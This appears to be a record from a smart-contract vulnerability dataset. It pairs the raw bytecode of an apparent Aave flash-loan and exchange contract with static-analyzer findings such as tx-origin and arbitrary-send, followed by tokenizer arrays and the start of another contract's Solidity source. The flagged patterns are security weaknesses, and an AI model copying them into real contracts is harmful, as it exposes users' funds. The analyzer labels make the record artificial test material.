0x6080604052600436106101fd5760003560e01c80637b925ab11161010d578063a46a66c9116100a0578063c50ebaf81161006f578063c50ebaf8146104b1578063cc694d48146104c6578063d4f922dc146104db578063deca5f88146104f0578063f851a4401461051057610204565b8063a46a66c9146103b9578063a7304bf714610467578063ae08fd1014610487578063b13cdb201461049c57610204565b80638da5cb5b116100dc5780638da5cb5b146103f8578063920f5c841461040d578063a342f2381461037a578063a3b8e5d11461043a57610204565b80637b925ab1146103b957806381b9428014610209578063870e44d9146103ce5780638c8a7958146103e357610204565b8063314b633211610190578063449b9ffa1161015f578063449b9ffa14610365578063469048401461037a5780634d2ab9dc1461038f578063526d6461146103a45780637753f47b146102dc57610204565b8063314b63321461030657806339df18781461031b5780633a1283221461033057806341c0e1b51461035057610204565b80631e48907b116101cc5780631e48907b146102a5578063278d5831146102c757806329f7fc9e146102dc5780632ba38bcb146102f157610204565b8063040141e51461020957806304c9805c1461023457806305a363de1461025657806308d4f52a1461027857610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610525565b60405161022b9190612bfb565b60405180910390f35b34801561024057600080fd5b5061024961053d565b60405161022b9190612eb2565b34801561026257600080fd5b5061026b610543565b60405161022b9190612ea3565b34801561028457600080fd5b506102986102933660046128a3565b610548565b60405161022b9190612d6c565b3480156102b157600080fd5b506102c56102c0366004612628565b610572565b005b3480156102d357600080fd5b506102986105ab565b3480156102e857600080fd5b5061021e6105d3565b3480156102fd57600080fd5b506102496105e5565b34801561031257600080fd5b5061021e6105ea565b34801561032757600080fd5b5061021e610602565b34801561033c57600080fd5b506102c561034b366004612660565b61061a565b34801561035c57600080fd5b506102c56106ad565b34801561037157600080fd5b506102986106d2565b34801561038657600080fd5b5061021e610704565b34801561039b57600080fd5b5061024961071c565b3480156103b057600080fd5b5061021e610722565b3480156103c557600080fd5b5061021e61073a565b3480156103da57600080fd5b50610249610752565b3480156103ef57600080fd5b5061021e61075e565b34801561040457600080fd5b5061021e610776565b34801561041957600080fd5b5061042d61042836600461268b565b610785565b60405161022b9190612d61565b34801561044657600080fd5b5061045a6104553660046127e9565b610b19565b60405161022b9190612e64565b34801561047357600080fd5b506102c5610482366004612628565b610b3b565b34801561049357600080fd5b50610298610b74565b3480156104a857600080fd5b5061021e610ba5565b3480156104bd57600080fd5b50610298610bbd565b3480156104d257600080fd5b50610298610bec565b3480156104e757600080fd5b50610249610c17565b3480156104fc57600080fd5b506102c561050b366004612628565b610c1c565b34801561051c57600080fd5b5061021e610c49565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b61014d81565b604081565b60608160405160200161055b9190612e64565b60405160208183030381529060405290505b919050565b6001546001600160a01b0316331461058957600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b81525081565b600080516020612f5d83398151915281565b600181565b7325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d81565b735c55b921f590a89c1ebe84df170e655a82b6212681565b6000546001600160a01b0316331461063157600080fd5b600080516020612f5d8339815191526001600160a01b038316141561068f57600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610689573d6000803e3d6000fd5b506106a9565b6000546106a9906001600160a01b03848116911683610c58565b5050565b6000546001600160a01b031633146106c457600080fd5b6000546001600160a01b0316ff5b6040518060400160405280601681526020017516995c9bde08195e18da185b99d9481a5b9d985b1a5960521b81525081565b7339c4a92dc506300c3ea4c67ca4ca611102ee6f2a81565b61019081565b73637726f8b08a7abe3ae3acab01a80e2d8ddef77b81565b731b14e8d511c9a4395425314f849bd737baf8208f81565b670dbd2fc137a3000081565b734ba1f38427b33b8ab7bb0490200dae1f1c36823f81565b6000546001600160a01b031681565b60006060818080808061079a888a018a61281c565b9550955095509550955095506000856001600160a01b0316630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e157600080fd5b505afa1580156107f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108199190612644565b9050336001600160a01b0382161461084c5760405162461bcd60e51b815260040161084390612d7f565b60405180910390fd5b816001600160a01b03168b6001600160a01b03161461087d5760405162461bcd60e51b815260040161084390612e35565b61088561233f565b61088e88610b19565b9050826001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c957600080fd5b505afa1580156108dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109019190612644565b6001600160a01b031660c082015261019060a08201526040516320eb73ed60e11b815273637726f8b08a7abe3ae3acab01a80e2d8ddef77b906341d6e7da9061094e903290600401612bfb565b60206040518083038186803b15801561096657600080fd5b505afa15801561097a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099e9190612788565b156109ac5761014d60a08201525b60008e8e60008181106109bb57fe5b90506020020135905060008183604001510190508515610ac5576109e3838a8a888b87610cb3565b82516001600160a01b038116600080516020612f5d8339815191521480610a2657506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b15610aab5773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b158015610a7a57600080fd5b505af1158015610a8e573d6000803e3d6000fd5b505050505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290505b610abf6001600160a01b038216868461104c565b50610ad1565b610ad1838a8a8861108b565b60405132904780156108fc02916000818181858888f19350505050158015610afd573d6000803e3d6000fd5b5060019a50505050505050505050509998505050505050505050565b610b2161233f565b81806020019051810190610b3591906129ab565b92915050565b6001546001600160a01b03163314610b5257600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6040518060400160405280601581526020017413d99998da185a5b8819185d18481a5b9d985b1a59605a1b81525081565b73cd47e74a717b882efb54a3e17b59a5b1e31fd3c381565b604051806040016040528060138152602001724465737420616d6f756e74206d697373696e6760681b81525081565b6040518060400160405280600f81526020016e15dc985c1c195c881a5b9d985b1a59608a1b81525081565b600281565b6000546001600160a01b03163314610c3357600080fd5b6001546001600160a01b031615610b5257600080fd5b6001546001600160a01b031681565b610cae8363a9059cbb60e01b8484604051602401610c77929190612d48565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611341565b505050565b60408601805182810391829052602088015188519192916001600160a01b03908116911614610ce957610ce5886113d0565b9150505b6000856001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2457600080fd5b505afa158015610d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5c9190612644565b9050610ddf886001600160a01b031663fca513a86040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9a57600080fd5b505afa158015610dae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd29190612644565b83838a8d6020015161170b565b60208a015192039147906000906001600160a01b0316600080516020612f5d8339815191521480610e30575060208b01516001600160a01b031673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b15610e3f575082900382610e58565b60208b0151610e58906001600160a01b0316898661104c565b876001600160a01b0316631cff79cd8273cd47e74a717b882efb54a3e17b59a5b1e31fd3c38d8f60200151898d8a604051602401610e9a959493929190612cd8565b60408051601f198184030181529181526020820180516001600160e01b0316632c6951f360e21b1790525160e085901b6001600160e01b0319168152610ee4929190600401612d08565b6020604051808303818588803b158015610efd57600080fd5b505af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3691906127d1565b50876001600160a01b0316631cff79cd73cd47e74a717b882efb54a3e17b59a5b1e31fd3c38c8e6000015189604051602401610f7493929190612c58565b60408051601f198184030181529181526020820180516001600160e01b0316636ce5768960e11b1790525160e084901b6001600160e01b0319168152610fbe929190600401612d08565b602060405180830381600087803b158015610fd857600080fd5b505af1158015610fec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101091906127d1565b5061103f6040518060400160405280600b81526020016a416176655632526570617960a81b8152508c86611915565b5050505050505050505050565b61106c8363095ea7b360e01b846000604051602401610c77929190612d2c565b610cae8363095ea7b360e01b8484604051602401610c77929190612d48565b6040840151602085015185516001600160a01b039081169116146110b6576110b2856113d0565b9150505b6000826001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110f157600080fd5b505afa158015611105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111299190612644565b90506111ac856001600160a01b031663fca513a86040518163ffffffff1660e01b815260040160206040518083038186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119f9190612644565b8383878a6020015161170b565b60208701519203916000906001600160a01b038116600080516020612f5d83398151915214806111fc575060208801516001600160a01b031673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b156112195750829050600080516020612f5d833981519152611232565b6020880151611232906001600160a01b0316868661104c565b846001600160a01b0316631cff79cd8373cd47e74a717b882efb54a3e17b59a5b1e31fd3c38a858960405160240161126c93929190612c58565b60408051601f198184030181529181526020820180516001600160e01b0316638340f54960e01b1790525160e085901b6001600160e01b03191681526112b6929190600401612d08565b6020604051808303818588803b1580156112cf57600080fd5b505af11580156112e3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130891906127d1565b506113376040518060400160405280600b81526020016a10585d99558c909bdbdcdd60aa1b8152508986611915565b5050505050505050565b6060611396826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166119c39092919063ffffffff16565b805190915015610cae57808060200190518101906113b49190612788565b610cae5760405162461bcd60e51b815260040161084390612deb565b6000806000806000600080516020612f5d8339815191526001600160a01b031686600001516001600160a01b0316141561148557855161140f906119da565b6001600160a01b031686526040808701518151630d0e30db60e41b8152915173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29263d0e30db09291600480830192600092919082900301818588803b15801561146b57600080fd5b505af115801561147f573d6000803e3d6000fd5b50505050505b6114a186604001518760c0015188600001518960a00151611a1b565b60408701805191909103905261012086015160600151156114de576114c7866000611c68565b9250905080156114de578561012001516020015192505b806114f8576114ee866000611e66565b91508560e0015192505b600061151773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26120af565b11156115fd576040516370a0823160e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d9082906370a082319061155c903090600401612bfb565b602060405180830381600087803b15801561157657600080fd5b505af115801561158a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ae91906127d1565b6040518263ffffffff1660e01b81526004016115ca9190612eb2565b600060405180830381600087803b1580156115e457600080fd5b505af11580156115f8573d6000803e3d6000fd5b505050505b60208601516001600160a01b031673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561169a5761163886608001518760400151612153565b61164f600080516020612f5d8339815191526120af565b10156040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b815250906116945760405162461bcd60e51b81526004016108439190612d6c565b50611700565b6116ac86608001518760400151612153565b6116b987602001516120af565b10156040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b815250906116fe5760405162461bcd60e51b81526004016108439190612d6c565b505b509092509050915091565b60008261171a5750600061190c565b60006001600160a01b038316600080516020612f5d833981519152146117405782611756565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90506000876001600160a01b031663b3596f07836040518263ffffffff1660e01b81526004016117869190612bfb565b60206040518083038186803b15801561179e57600080fd5b505afa1580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d691906127d1565b90506117e18461218c565b601203600a0a6117f186836121ee565b816117f857fe5b04945084925060058704831115611810576005870492505b60007339c4a92dc506300c3ea4c67ca4ca611102ee6f2a6001600160a01b031663b38779eb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118979190612644565b90506001600160a01b038516600080516020612f5d83398151915214156118f4576040516001600160a01b0382169085156108fc029086906000818181858888f193505050501580156118ee573d6000803e3d6000fd5b50611908565b6119086001600160a01b0386168286610c58565b5050505b95945050505050565b735c55b921f590a89c1ebe84df170e655a82b621266001600160a01b031663d061ce503033868660000151876020015188604001518860405160200161195e9493929190612caf565b6040516020818303038152906040526040518563ffffffff1660e01b815260040161198c9493929190612c0f565b600060405180830381600087803b1580156119a657600080fd5b505af11580156119ba573d6000803e3d6000fd5b50505050505050565b60606119d2848460008561220e565b949350505050565b60006001600160a01b038216600080516020612f5d83398151915214611a005781610b35565b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2919050565b60008115801590611aae5750604051632cdc77ab60e21b8152731b14e8d511c9a4395425314f849bd737baf8208f9063b371deac90611a5e908790600401612bfb565b60206040518083038186803b158015611a7657600080fd5b505afa158015611a8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aae9190612788565b15611b3d57604051636eeb543160e01b8152731b14e8d511c9a4395425314f849bd737baf8208f90636eeb543190611aea908790600401612bfb565b60206040518083038186803b158015611b0257600080fd5b505afa158015611b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3a91906127d1565b91505b81611b4a575060006119d2565b818581611b5357fe5b049050600a8504811115611b675750600a84045b60007339c4a92dc506300c3ea4c67ca4ca611102ee6f2a6001600160a01b031663b38779eb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611bb657600080fd5b505afa158015611bca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bee9190612644565b90506001600160a01b038416600080516020612f5d8339815191521415611c4b576040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015611c45573d6000803e3d6000fd5b50611c5f565b611c5f6001600160a01b0385168284610c58565b50949350505050565b610120820151602001516040516302f5cc7960e11b81526000918291734ba1f38427b33b8ab7bb0490200dae1f1c36823f916305eb98f291611cad9190600401612bfb565b60206040518083038186803b158015611cc557600080fd5b505afa158015611cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cfd9190612788565b611d0c57506000905080611e5f565b6101208401515160405163e0aa279760e01b81527325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d9163e0aa279791611d499190600401612bfb565b60206040518083038186803b158015611d6157600080fd5b505afa158015611d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d999190612788565b611da857506000905080611e5f565b6101208401515160408501518551611dcb926001600160a01b0390911691610c58565b610120840151805160809091015160405163097396a160e31b81526001600160a01b0390921691634b9cb5089190611e099088908890600401612e77565b60408051808303818588803b158015611e2157600080fd5b505af1158015611e35573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e5a91906127a4565b915091505b9250929050565b60e082015160405163e0aa279760e01b81526000917325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d9163e0aa279791611ea391600401612bfb565b60206040518083038186803b158015611ebb57600080fd5b505afa158015611ecf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ef39190612788565b6040518060400160405280600f81526020016e15dc985c1c195c881a5b9d985b1a59608a1b81525090611f395760405162461bcd60e51b81526004016108439190612d6c565b5060e083015160408401518451611f5b926001600160a01b0390911691610c58565b6000826001811115611f6957fe5b141561200f578260e001516001600160a01b0316635b6f36fc8460000151856020015186604001518761010001516040518563ffffffff1660e01b8152600401611fb69493929190612c7c565b602060405180830381600087803b158015611fd057600080fd5b505af1158015611fe4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200891906127d1565b9050610b35565b8260e001516001600160a01b0316633924db668460000151856020015186606001518761010001516040518563ffffffff1660e01b81526004016120569493929190612c7c565b602060405180830381600087803b15801561207057600080fd5b505af1158015612084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120a891906127d1565b9392505050565b60006001600160a01b038216600080516020612f5d83398151915214156120d757504761056d565b6040516370a0823160e01b81526001600160a01b038316906370a0823190612103903090600401612bfb565b60206040518083038186803b15801561211b57600080fd5b505afa15801561212f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3591906127d1565b6000670de0b6b3a764000061217d61216b85856122d2565b6002670de0b6b3a76400005b046122f6565b8161218457fe5b049392505050565b60006001600160a01b038216600080516020612f5d83398151915214156121b55750601261056d565b816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561211b57600080fd5b60008161217d61220685670de0b6b3a76400006122d2565b600285612177565b606061221985612306565b6122355760405162461bcd60e51b815260040161084390612db4565b60006060866001600160a01b031685876040516122529190612bdf565b60006040518083038185875af1925050503d806000811461228f576040519150601f19603f3d011682016040523d82523d6000602084013e612294565b606091505b509150915081156122a85791506119d29050565b8051156122b85780518082602001fd5b8360405162461bcd60e51b81526004016108439190612d6c565b60008115806122ed575050808202828282816122ea57fe5b04145b610b3557600080fd5b80820182811015610b3557600080fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906119d2575050151592915050565b60405180610140016040528060006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b03168152602001606081526020016123b66123bb565b905290565b6040518060c0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001606081525090565b8035610b3581612f36565b8051610b3581612f36565b60008083601f840112612433578182fd5b50813567ffffffffffffffff81111561244a578182fd5b6020830191508360208083028501011115611e5f57600080fd5b600082601f830112612474578081fd5b813561248761248282612ee2565b612ebb565b915080825283602082850101111561249e57600080fd5b8060208401602084013760009082016020015292915050565b600082601f8301126124c7578081fd5b81516124d561248282612ee2565b91508082528360208285010111156124ec57600080fd5b6124fd816020840160208601612f06565b5092915050565b600060c08284031215612515578081fd5b61251f60c0612ebb565b9050813561252c81612f36565b8152602082013561253c81612f36565b6020820152604082013561254f81612f36565b80604083015250606082013560608201526080820135608082015260a082013567ffffffffffffffff81111561258457600080fd5b61259084828501612464565b60a08301525092915050565b600060c082840312156125ad578081fd5b6125b760c0612ebb565b905081516125c481612f36565b815260208201516125d481612f36565b602082015260408201516125e781612f36565b80604083015250606082015160608201526080820151608082015260a082015167ffffffffffffffff81111561261c57600080fd5b612590848285016124b7565b600060208284031215612639578081fd5b81356120a881612f36565b600060208284031215612655578081fd5b81516120a881612f36565b60008060408385031215612672578081fd5b823561267d81612f36565b946020939093013593505050565b600080600080600080600080600060a08a8c0312156126a8578485fd5b893567ffffffffffffffff808211156126bf578687fd5b6126cb8d838e01612422565b909b50995060208c01359150808211156126e3578687fd5b6126ef8d838e01612422565b909950975060408c0135915080821115612707578687fd5b6127138d838e01612422565b909750955060608c0135915061272882612f36565b90935060808b0135908082111561273d578384fd5b818c0191508c601f830112612750578384fd5b81358181111561275e578485fd5b8d602082850101111561276f578485fd5b6020830194508093505050509295985092959850929598565b600060208284031215612799578081fd5b81516120a881612f4e565b600080604083850312156127b6578182fd5b82516127c181612f4e565b6020939093015192949293505050565b6000602082840312156127e2578081fd5b5051919050565b6000602082840312156127fa578081fd5b813567ffffffffffffffff811115612810578182fd5b6119d284828501612464565b60008060008060008060c08789031215612834578384fd5b863567ffffffffffffffff81111561284a578485fd5b61285689828a01612464565b965050602087013561286781612f36565b94506040870135935060608701359250608087013561288581612f4e565b915060a087013561289581612f36565b809150509295509295509295565b6000602082840312156128b4578081fd5b813567ffffffffffffffff808211156128cb578283fd5b81840191506101408083870312156128e1578384fd5b6128ea81612ebb565b90506128f6868461240c565b8152612905866020850161240c565b602082015260408301356040820152606083013560608201526080830135608082015260a083013560a082015261293f8660c0850161240c565b60c08201526129518660e0850161240c565b60e08201526101008084013583811115612969578586fd5b61297588828701612464565b828401525050610120808401358381111561298e578586fd5b61299a88828701612504565b918301919091525095945050505050565b6000602082840312156129bc578081fd5b815167ffffffffffffffff808211156129d3578283fd5b81840191506101408083870312156129e9578384fd5b6129f281612ebb565b90506129fe8684612417565b8152612a0d8660208501612417565b602082015260408301516040820152606083015160608201526080830151608082015260a083015160a0820152612a478660c08501612417565b60c0820152612a598660e08501612417565b60e08201526101008084015183811115612a71578586fd5b612a7d888287016124b7565b8284015250506101208084015183811115612a96578586fd5b61299a8882870161259c565b6001600160a01b03169052565b60008151808452612ac7816020860160208601612f06565b601f01601f19169290920160200192915050565b6000610140612aeb848451612aa2565b6020830151612afd6020860182612aa2565b5060408301516040850152606083015160608501526080830151608085015260a083015160a085015260c0830151612b3860c0860182612aa2565b5060e0830151612b4b60e0860182612aa2565b50610100808401518282870152612b6483870182612aaf565b925050506101208084015185830382870152612b808382612b8a565b9695505050505050565b600060018060a01b0380835116845280602084015116602085015280604084015116604085015250606082015160608401526080820151608084015260a082015160c060a08501526119d260c0850182612aaf565b60008251612bf1818460208701612f06565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152608060408201819052600090612c3b90830185612aaf565b8281036060840152612c4d8185612aaf565b979650505050505050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612b8090830184612aaf565b6001600160a01b0394851681529290931660208301526040820152606081019190915260800190565b6001600160a01b039586168152938516602085015260408401929092526060830152909116608082015260a00190565b6001600160a01b03831681526040602082018190526000906119d290830184612aaf565b6001600160a01b0392909216825260ff16602082015260400190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602082526120a86020830184612aaf565b6020808252818101527f43616c6c6261636b73206f6e6c7920616c6c6f7765642066726f6d2041617665604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b602080825260159082015274696e69746961746f722069736e27742070726f787960581b604082015260600190565b6000602082526120a86020830184612adb565b600060408252612e8a6040830185612adb565b905060028310612e9657fe5b8260208301529392505050565b61ffff91909116815260200190565b90815260200190565b60405181810167ffffffffffffffff81118282101715612eda57600080fd5b604052919050565b600067ffffffffffffffff821115612ef8578081fd5b50601f01601f191660200190565b60005b83811015612f21578181015183820152602001612f09565b83811115612f30576000848401525b50505050565b6001600160a01b0381168114612f4b57600080fd5b50565b8015158114612f4b57600080fdfe000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeea2646970667358221220d79495ce7deb52c0fc52ebee1eb936a1badeaa63ceb9a86b5ddf814bc295231764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 19841, 2063, 22022, 4246, 19797, 16703, 2094, 2620, 2094, 22203, 2549, 12879, 2575, 2050, 27009, 4402, 22275, 7011, 2487, 2497, 17465, 2692, 2620, 2581, 27421, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,604
0x970e8baca76e2669ce734e02fd00639aa52e5ab1
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for 